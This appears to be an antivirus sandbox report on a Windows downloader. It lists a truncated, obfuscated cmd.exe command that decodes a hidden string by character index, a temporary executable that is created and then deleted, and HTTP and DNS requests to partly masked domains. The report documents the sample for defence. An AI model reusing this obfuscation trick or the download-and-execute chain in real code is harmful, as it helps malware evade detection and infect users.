Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:\C"set oZnN=frGfSJoUutPctqbblOJVafqhMiiBJMwK-:pD5,A4neH)2+8mICF.d\LR@Yj${Q;Z3}\v='gyk(s Ex0Nz6WT&&for %6 in (59;11;30;8;68;69;11;34;58;69;62;59;55;82;...
Modifies file system
Creates the following files
- %TEMP%\385.exe
Deletes the following files
- %TEMP%\385.exe
Network activity
TCP
HTTP GET requests
- http://bi###ost.com/WePqBp3q3Z
- http://www.58##kou.com/dE5R864Uk
- http://mo####rldwide.com/eGPgHevr
UDP
- DNS ASK ho###an365.com
- DNS ASK bi###ost.com
- DNS ASK 58##kou.com
- DNS ASK mo####rldwide.com
- DNS ASK fi##a.pp.ua
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' \c %ProgramData:~0,1%%ProgramData:~9,2% \V:\C"set oZnN=frGfSJoUutPctqbblOJVafqhMiiBJMwK-:pD5,A4neH)2+8mICF.d\LR@Yj${Q;Z3}\v='gyk(s Ex0Nz6WT&&for %6 in (59;11;30;8;68;69;11;34;58;69;62;59;55;82;...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /V:/C"set oZnN=frGfSJoUutPctqbblOJVafqhMiiBJMwK-:pD5,A4neH)2+8mICF.d/LR@Yj${Q;Z3}\v='gyk(s Ex0Nz6WT&&for %6 in (59;11;30;8;68;69;11;34;58;69;62;59;55;82;20;68;40;41;30;32;6;15;58;41;11;12;75;79...
